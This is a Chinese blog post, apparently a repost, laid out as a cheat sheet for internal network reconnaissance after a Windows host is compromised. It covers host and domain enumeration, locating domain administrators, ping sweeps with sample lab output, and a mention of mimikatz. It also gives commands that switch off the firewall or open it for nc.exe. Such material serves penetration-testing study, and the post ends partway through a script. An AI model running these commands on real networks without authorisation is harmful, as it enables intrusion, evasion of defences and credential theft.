赞
踩
1.1、我是谁?
——对当前机器角色的判断
WEB服务器?开发测试服务器?公共服务器?文件服务器?代理服务器?DNS服务器?等等??
根据 主机名、文件、网络连接情况综合判断。
1.2、这是哪?
—— 对当前机器所处网络环境的拓扑结构进行分析与判断。
绘制大致内网拓扑图
1.3、我在哪
——- 对当前机器所处区域的判断。
DMZ区、办公区、核心区
2.1手动信息收集
ipconfig/all
systeminfo
可查询出补丁,可利用系统自身存在的漏洞进行后续的提权。
systeminfo | findstr /B /C:“OS 名称” /C:“OS 版本”
查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%
查看安装的软件版本及路径等
wmic product get name,version
利用powershell收集软件版本信息
powershell “GET-WmiObject -class Win32_Product | Select-Object -Property name,version”
wmic service list brief
tasklist
查看当前进程和进程用户
wmic process list brief
wmic startup get command,caption
schtasks /query /fo LIST /v
查看本机用户列表
net user
获取本地管理员组
net localgroup administrators
查看当前在线用户:
query user || qwinsta
net statistics workstation
net session
netstat -ano
systeminfo
wmic qfe get Caption,Descript,HotFixID,InstalledOn
net share
wmic share get name,path,status
route print
arp -a
查杀软
WMIC /Node:localhost /Namespace:\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
关闭防火墙
netsh firewall set opmode disable (Windows Server 2003 系统及之前版本)
netsh advfirewall set allprofiles state off (Windows Server 2003 系统及之后版本)
查看防火墙配置
netstat firewall show config
修改防火墙配置
win server 2003 及之前,允许指定程序全部连接。 netsh firewall add allowedprogram c:\nc.exe “allwa nc” enable win server 2003 之后 netsh advfirewall firewall add rule name=“pass nc” dir=in action=allow program=“c:\nc.exe” 允许指定程序退出 netsh advfirewall firewall add rule name=“Allow nc” dir=out action=allow program=“c:\nc.exe” 允许 3389 端口放行 netsh advfirewall firewall add rule name=“Remote Desktop” protocol=TCP dir=in localport=3389 action=allow 自定义翻过墙存储位置 netsh advfirewall set currentprofile logging filename “c:\windows\temp\fw.log” 远程桌面连接历史记录 cmdkey /l
自定义防火墙日志的储存位置
netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"
http://www.fuzzysecurity.com/scripts/files/wmic_info.rar
下载后直接运行脚本:
wmic_info.bat
whoami /all
net user win7 /domain
了解本机信息后,接下来就要判断当前所在内网是否存在域。
查看网关IP地址、DNS的ip地址、域名、本机是否和DNS服务器处于同一网段等信息。
ipconfig /all
然后nslookup
解析域名的ip地址,查看是否与DNS服务器在同一ip上。
nslookup security.com
systeminfo
从中看到处于域 security.com
net config workstation
net time /domain
net view /domain
net view /domain:SECURITY
net group /domain
默认,Domain Admins 、Enterprise Admins 对域内机器有完全控制权。
net group “domain computers” /doamin
net accounts /domain
nltest /domain_trusts
nltest /DCLIST:security
nslookup -type=SRV_ldap_tcp
net time /domain
net group “domain controllers” /domain
net user /domain
wmic useraccount get /all
dsquery user dsquery computer - 查找目录中的计算机。 dsquery contact - 查找目录中的联系人。 dsquery subnet - 查找目录中的子网。 dsquery group - 查找目录中的组。 dsquery ou - 查找目录中的组织单位。 dsquery site - 查找目录中的站点。 dsquery server - 查找目录中的域控制器。 dsquery user - 查找目录中的用户。 dsquery quota - 查找目录中的配额。 dsquery partition - 查找目录中的分区。 dsquery * - 用通用的 LDAP 查询查找目录中的任何对象。 dsquery computer domainroot -limit 65535 && net group “domain computers” /domain //列出该域内所有机器名 dsquery user domainroot -limit 65535 && net user /domain //列出该域内所有用户名 dsquery subnet //列出该域内网段划分 dsquery group && net group /domain //列出该域内分组 dsquery ou //列出该域内组织单位 dsquery server && net time /domain //列出该域内域控制器
net localgroup administrators
net group “domain admins” /domain
net group “enterprise admins” /domain
内网中通常会有大量网络安全系统和设备,IDS, IPS, 日志审计,安全网关,反病毒软件等。
在一个域中,当计算机加入域之后,会默认给域管理员组赋予本地系统管理员权限。因此,域管理员组的成员均可访问本地计算机,且具有完全控制权限。
定位域管理员渠道:
net session
可查看谁使用了本机资源,但不能查看谁在使用远程计算机资源、谁登录了本地或远程计算机
使用:
C:\Users\de1ay.DE1AY\Desktop>PsLoggedon.exe \\DC
PsLoggedon v1.35 - See who's logged on
Copyright (C) 2000-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
No one is logged on locally.
Users logged on via resource shares:
2023/2/28 16:06:09 WEB\Administrator
2023/2/28 16:06:25 DE1AY\de1ay
用于查找活动目录用户登录的位置、枚举域用户,以及查找在特定计算机上登录的用户,包括本地用户、通过RDP登录用户、用于运行服务器和计划任务的用户。需管理员权限
下载地址:https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn
使用:
C:\Users\mssql\Desktop>PVEFindADUser.exe -current ----------------------------------------- PVE Find AD Users Peter Van Eeckhoutte (c) 2009 - http://www.corelan.be:8800 Version : 1.0.0.12 ----------------------------------------- [+] Finding currently logged on users ? true [+] Finding last logged on users ? false [+] Enumerating all computers... [+] Number of computers found : 3 [+] Launching queries [+] Processing host : DC.de1ay.com (Windows Server 2012 R2 Standard) [+] Processing host : PC.de1ay.com (Windows 7 旗舰版;Service Pack 1) [+] Processing host : WEB.de1ay.com (Windows Server 2008 R2 Standard;Servic e Pack 1) [-] Computer : WEB.de1ay.com Down [+] Report written to report.csv
netview 是一个枚举工具,使用 WinAPI 枚举系统,利用 NetSessionEnum 寻找登录会话,利用 NetShareEnum 寻找共享,利用 NetWkstaUserEnum 枚举登录的用户,netview 可以查询共享入口和有价值的用户,其绝大部分功能无需管理员权限就可使用。
使用:netview.exe -d DE1AY(域名)
C:\Users\de1ay.DE1AY\Desktop>netview.exe -d DE1AY [+] Domain Specified: DE1AY [*] Using interval: 0 [*] Using jitter: 0.00 [+] Number of hosts: 2 [+] Host: DC Enumerating AD Info[+] DC - Comment - [+] D - OS Version - 6.3 [+] DC - Domain Controller Enumerating IP Info [+] (null) - IPv4 Address - 10.10.10.10 Enumerating Share Info [+] DC - Share : ADMIN$ : ???? [+] DC - Share : C$ : ???? [+] DC - Share : IPC$ : ?? IPC [+] DC - Share : NETLOGON : Logon server share [+] DC - Share : SYSVOL : Logon server share Enumerating Session Info [+] DC - Session - Administrator from \\10.10.10.80 - Active: 26035 - Idle: 6898 [+] DC - Session - de1ay from \\10.10.10.80 - Active: 0 - Idle: 0 Enumerating Logged-on Users [+] DC - Logged-on - DE1AY.COM\de1ay [+] Host: PC Enumerating AD Info[+] PC - Comment - [+] P - OS Version - 6.1 Enumerating IP Info [+] (null) - IPv4 Address - 10.10.10.201 Enumerating Share Info [+] PC - Share : ADMIN$ : ???? [+] PC - Share : C$ : ???? [+] PC - Share : IPC$ : ?? IPC Enumerating Session Info [+] PC - Session - de1ay from \\10.10.10.80 - Active: 0 - Idle: 0 Enumerating Logged-on Users
zenmap
使用:
nmap --script=smb-os-discovery.nse -p 445 192.168.7.107
使用:
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Invoke-UserHunter}"
C:\Users\de1ay.DE1AY\Desktop\PowerSploit-3.0.0\Recon>powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Invoke-UserHunter}" UserDomain : de1ay.com UserName : Administrator ComputerName : DC.de1ay.com IP : 10.10.10.10 SessionFrom : 10.10.10.80 LocalAdmin : UserDomain : DE1AY UserName : Administrator ComputerName : WEB.de1ay.com IP : {10.10.10.80, 192.168.5.131} SessionFrom : LocalAdmin : UserDomain : DE1AY UserName : Administrator ComputerName : WEB.de1ay.com IP : {10.10.10.80, 192.168.5.131} SessionFrom : LocalAdmin : UserDomain : DE1AY UserName : Administrator ComputerName : WEB.de1ay.com IP : {10.10.10.80, 192.168.5.131} SessionFrom : LocalAdmin : UserDomain : WEB UserName : Administrator ComputerName : WEB.de1ay.com IP : {10.10.10.80, 192.168.5.131} SessionFrom : LocalAdmin : UserDomain : DE1AY UserName : Administrator ComputerName : WEB.de1ay.com IP : {10.10.10.80, 192.168.5.131} SessionFrom : LocalAdmin : UserDomain : DE1AY UserName : Administrator ComputerName : WEB.de1ay.com IP : {10.10.10.80, 192.168.5.131} SessionFrom : LocalAdmin :
典型域提权: 明文凭据或通过 mimikatz (kali 自带工具,密码抓取神器)提权。
获取域管理员列表
net group “domain admins” /domain
列出本机所有进程及进程用户
tasklist /v
寻找域控制器的域用户会话
原理:在域控制器中查询域会话列表,并将其与域管理员列表交叉引用,从而得到与管理会话的系统列表。
NetSess -h
(netsess.exe须上载到目标机器中)
命令:
nbtscan.exe -h
nbtscan.exe 10.1.1.1/24
for /L %i in (1,1,254) DO @ping -w 1 -n 1 10.1.1.%i | findstr “TTL=”
arp.exe -t 10.1.1.1/24
Empire、Nishang
arp -a
telnet DC 22
search scanner/portscan/tcp
use 0
show options
set port 1-1000
set rhosts 192.168.1.1
set threads 10
run
如果服务器禁ping,该方法不可用
for /l %i in (1,1,255) do @ping 192.168.7.%i -w 1 -n 1|find /i "ttl="
C:\Users\daniel10>for /l %i in (1,1,255) do @ping 192.168.7.%i -w 1 -n 1|find /i "ttl="
来自 192.168.7.7 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.7.107 的回复: 字节=32 时间=1ms TTL=64
来自 192.168.7.110 的回复: 字节=32 时间<1ms TTL=128
for k in $( seq 1 255);do ping -c 1 192.168.7.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
VPS脚本
strSubNet = "192.168.7." Set objFSO= CreateObject("Scripting.FileSystemObject") Set objTS = objfso.CreateTextFile("C:\Result.txt") For i = 1 To 254 strComputer = strSubNet & i blnResult = Ping(strComputer) If blnResult = True Then objTS.WriteLine strComputer & " is alived ! :) " End If Next objTS.Close WScript.Echo "All Ping Scan , All Done ! :) " Function Ping(strComputer) Set objWMIService = GetObject("winmgmts:\\.\root\cimv2") Set colItems = objWMIService.ExecQuery("Select * From Win32_PingStatus Where Address='" & strComputer & "'") For Each objItem In colItems Select case objItem.StatusCode Case 0 Ping = True Case Else Ping = False End select Exit For Next End Function
strSubNet = “10.10.10.”
Set objFSO= CreateObject(“Scripting.FileSystemObject”)
Set objTS = objfso.CreateTextFile(“C:\Windows\Temp\Result.txt”)
For i = 1 To 254
strComputer = strSubNet & i
blnResult = Ping(strComputer)
If blnResult = True Then
objTS.WriteLine strComputer & " is alived ! 声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/知新_RL/article/detail/130390
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。